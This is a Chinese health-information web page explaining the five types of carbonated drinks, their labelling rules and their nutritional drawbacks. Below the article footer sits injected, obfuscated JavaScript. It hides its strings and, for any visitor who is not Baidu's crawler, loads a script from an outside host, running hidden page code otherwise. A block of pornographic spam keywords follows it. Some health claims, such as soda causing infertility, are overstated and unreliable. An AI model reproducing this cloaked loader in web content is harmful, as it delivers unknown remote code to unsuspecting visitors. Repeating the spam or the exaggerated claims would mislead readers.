當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

碳酸飲料有哪些?碳酸飲料的營養(yǎng)知識

2015-03-10 09:52:01  來源:360常識網(wǎng)   熱度:
導(dǎo)語:可樂型碳酸飲料。指含有焦糖色、可樂香精或類似可樂果和水果香型的辛香、果香混合香型的碳酸飲料。碳酸飲料有哪些?碳酸飲料的營養(yǎng)知識碳酸

可樂型碳酸飲料。指含有焦糖色、可樂香精或類似可樂果和水果香型的辛香、果香混合香型的碳酸飲料。

碳酸飲料有哪些?碳酸飲料的營養(yǎng)知識
碳酸飲料有哪些?碳酸飲料的營養(yǎng)知識

碳酸飲料有哪些

碳酸飲料主要分為五類:

1、果汁型碳酸飲料。指原果汁含量不低于2.5%的碳酸飲料;

2、果味型碳酸飲料。指以果香型食用香精為主要賦香劑,原果汁含量低于2.5%的碳酸飲料;

3、可樂型碳酸飲料。指含有焦糖色、可樂香精或類似可樂果和水果香型的辛香、果香混合香型的碳酸飲料;

4、低熱量型的碳酸飲料。指以甜味劑全部或部分代替糖類的各型碳酸飲料和蘇打水,熱量低于75kJ/100mL;

5、其它型碳酸飲料。指含有植物抽提物或非果香型的食用香精為賦香劑以及補(bǔ)充人體運(yùn)動后失去的電解質(zhì)、能量等的碳酸飲料,如運(yùn)動汽水等。

目前,碳酸飲料有可樂型、果味型、低熱量型,香型則以檸檬和柑桔味為主。包裝有塑料瓶、金屬罐、玻璃瓶等,體積也大小不一。碳酸飲料的標(biāo)簽除了標(biāo)明產(chǎn)品名稱、產(chǎn)品類型、凈含量、配料表、制造者(或經(jīng)銷者)的名稱和地址、產(chǎn)品標(biāo)準(zhǔn)號、生產(chǎn)日期、保質(zhì)期外,果汁型必須標(biāo)明原果汁含量;果味型必須標(biāo)明“果味”標(biāo)志;可樂型必須標(biāo)明酸味劑的名稱;低熱量型須標(biāo)明甜味劑的名稱、熱值。

什么是碳酸飲料

碳酸飲料就是加入了二氧化碳?xì)怏w的飲料,二氧化碳本身是無色無味的,在冷卻和壓力的環(huán)境下,二氧化碳易于溶入水中,形成碳酸,每升水中可以溶入8克的二氧化碳。簡單地講,二氧化碳+水=碳酸。正是這種酸性物質(zhì)導(dǎo)致了舌頭的麻刺感。碳酸飲料以碳酸水為基礎(chǔ),往往需要加入蔗糖、香料進(jìn)行調(diào)味,而通常碳酸飲料中含有的水份可以達(dá)到90%以上。

碳酸飲料可以產(chǎn)生碳酸化作用,碳酸飲料之所以產(chǎn)生泡沫并嗞嗞作響,就是因?yàn)轱嬃现卸趸細(xì)怏w逸出的緣故。碳酸極不穩(wěn)定,在高溫和低壓的情況下,就會迅速分解并釋放出二氧化碳?xì)怏w。碳酸不僅可以在自然界中產(chǎn)生,也可以通過人工合成。

碳酸飲料不僅包括我們?nèi)粘?a href="http://m.jewhye.com/sh/" target="_blank" class="keylink">生活中飲用的可樂,還包括蘇打水、啤酒甚至泉水。不過泉水是一種源于自然的碳酸飲料,它從地下吸收二氧化碳,啤酒中含有的二氧化碳也是在自然發(fā)酵的過程中產(chǎn)生的。蘇打水、可樂,則是典型的人工碳酸飲料,這些碳酸飲料也都被認(rèn)為是“軟飲料”,軟飲料也指那些不含酒精的飲料——含有酒精的通常被稱為“硬飲料”,因此,檸檬水是軟飲料但未必就是碳酸飲料。

碳酸飲料的營養(yǎng)知識

碳酸飲料知識介紹:碳酸飲料是在液體飲料中充入二氧化碳做成的,其主要成分為糖、色素、香料等,除熱量外,沒有任何營養(yǎng)。碳酸飲料是人們?nèi)粘I钪斜夭豢缮俚氖称贰T谘谉嵯募荆藗兂S脕硐罱鉄幔诓妥郎弦彩潜貍渲贰R蛩鼈兛诟刑鹈蓝钍艽蟊姎g迎。碳酸飲料含有大量的糖分、防腐劑、色素、香精。碳酸飲料中還含有極少量的維生素、礦物質(zhì);并且含有碳酸、磷酸等化學(xué)成分。碳酸飲料的最主要成分是水,飲用后可補(bǔ)充身體因運(yùn)動和進(jìn)行生命活動所消耗掉的水分和一部分糖、礦物質(zhì),對維持體內(nèi)的水液電解質(zhì)平衡有一定作用。

碳酸飲料營養(yǎng)分析:碳酸飲料因含有二氧化碳,能起到殺菌、抑菌的作用,還能通過蒸發(fā)帶走體內(nèi)熱量,起到降溫作用。但是,靠喝碳酸飲料解渴是不正確的。碳酸飲料中含有大量的色素、添加劑、防腐劑等物質(zhì),這些成分在體內(nèi)代謝時反而需要大量水分,而且可樂含有咖啡因也有利尿作用,會促進(jìn)水分排出,所以碳酸飲料會越喝越渴。另外,大多數(shù)人外出旅行時飲食都不太規(guī)律,如果再喝很多碳酸飲料就會使人體消化功能受到影響,大量的二氧化碳在抑制飲料中細(xì)菌的同時,對人體內(nèi)的有益菌也會產(chǎn)生抑制作用,容易引起腹脹,影響食欲,甚至造成腸胃功能紊亂。此外,碳酸飲料一般含有約10%左右的糖分,一小瓶熱量就達(dá)到一二百千卡,容易使人發(fā)胖。對于旅行中的人來說,其中的糖分雖然可以補(bǔ)充一定的能量,但也會給腎臟帶來很大負(fù)擔(dān),非但不能提神,反倒容易造成疲勞、嗜睡等不良反應(yīng)。

碳酸飲料補(bǔ)充信息:碳酸飲料釋放出的二氧化碳很容易引起腹脹,并會影響食欲,甚至造成腸胃功能紊亂。同時,飲料中含有的大量糖分除有損牙齒健康外,還因?yàn)檫^多的糖分被人體吸收后會產(chǎn)生大量熱量,長期飲用非常容易引起肥胖。

1升裝的大瓶可樂飲料中含糖超過80克,其熱量相當(dāng)于兒童一日三餐的總和,飲料帶走的不僅是孩子們的胃口,還會破壞正常代謝,誘發(fā)胃腸道疾病,并把鈣、鐵、銅等營養(yǎng)物質(zhì)統(tǒng)統(tǒng)給“沖”走。研究表明,偏愛碳酸飲料的兒童中,約六成因缺鈣而影響正常發(fā)育。特別是可樂型飲料,因磷含量過高,過量飲用會導(dǎo)致體內(nèi)鈣、磷比例失調(diào),造成發(fā)育遲緩。因此,青少年最好少喝碳酸飲料。

碳酸飲料適合人群:一般人群均可飲用。但是不宜多飲,也不宜天天飲用。處于更年期者、兒童、老人、糖尿病患者更不宜多飲。

碳酸飲料做法指導(dǎo):

1、吃飯前后,用餐中都不宜喝碳酸飲料。

2、碳酸飲料中往往含有磷酸等成分,它們進(jìn)入人體后會和鈣發(fā)生反應(yīng),對牙齒、骨骼有重要影響。

3、碳酸飲料中的化學(xué)成分對人的生殖功能不利,過多飲用可能會導(dǎo)致不孕、不育,并可能致使男性精子質(zhì)量下降。

4、過多飲用這類飲品會增加心腎負(fù)擔(dān),使人產(chǎn)生心慌、乏力、尿頻等不適,同時胃液的消化、殺菌力也因此而降低,容易造成胃腸疾玻

5、這類飲品也不要同酒一起飲用,以免加速人體對酒精的吸收,對胃、肝、腎造成嚴(yán)重?fù)p害。

6、小兒過多喝碳酸飲料可導(dǎo)致齲齒。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品桃花综合| 国产成人精品无码免费看| 91精品国产免费久久国语麻豆| 亚洲精品国产电影午夜| 国产乱子伦精品免费视频| 十八禁无遮挡99精品国产| 久久国产精品久久精| 亚洲国产精品自在拍在线播放| 国产1024精品视频专区免费| 久久99精品波多结衣一区| 精品国产91久久久久久久a| 成年男女男精品免费视频网站| 久久久久人妻精品一区二区三区| 久久精品?ⅴ无码中文字幕| 麻豆成人精品国产免费| 国产成人精品亚洲日本在线| 亚洲AV无码久久精品成人| 精品久久久久一区二区三区| 情侣视频精品免费的国产| 思思久久好好热精品国产| 99re热精品视频国产免费| 日韩欧国产精品一区综合无码| 亚洲国产精品尤物YW在线观看| 精品欧洲男同同志videos| 国产精品色拉拉免费看| 乱色精品无码一区二区国产盗| 亚洲中文字幕无码久久精品1| 国产精品免费久久久久影院| 国产精品亚洲色图| 精品无人乱码一区二区三区| 国产精品久久久天天影视| 久久精品国产精品亚洲毛片| 国产精品视频一区二区三区四 | 国产精品亚洲αv天堂无码| 杨幂精品国产专区91在线| 亚洲精品无码av片| 国产福利91精品一区二区三区| 99国产精品视频久久久久| 久久一区二区精品| 久久青草精品38国产| 亚洲AV无码久久精品成人|